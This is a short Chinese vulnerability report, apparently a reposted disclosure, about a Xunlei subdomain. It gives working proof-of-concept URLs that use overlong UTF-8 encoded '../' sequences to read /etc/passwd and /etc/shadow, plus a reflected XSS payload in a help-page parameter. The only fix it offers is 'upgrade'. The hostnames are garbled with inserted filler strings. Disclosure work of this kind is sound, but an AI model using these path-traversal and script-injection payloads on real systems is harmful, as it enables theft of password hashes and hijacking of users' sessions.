迅雷分站任意文件/目录遍历下载及修复方案 - 网

 

简要描述：

连root密码文件都可读，还有几个xss

详细说明：

漏洞 证明：

 

http://union.xunlei测试数据:80/center//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

 

http://union.xunlei测试数据:80/center//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shadow HdhCmsTest2cto测试数据

 

http://union.xunlei测试数据:80/center/union/helpcontent1.jsf?fathertitle=1%3cScRiPt%20%3eprompt%28972193%29%3c%2fScRiPt%3e&seqid=169

修复方案：

升级吧

作者：阿门

查看更多关于迅雷分站任意文件/目录遍历下载及修复方案 - 网的详细内容...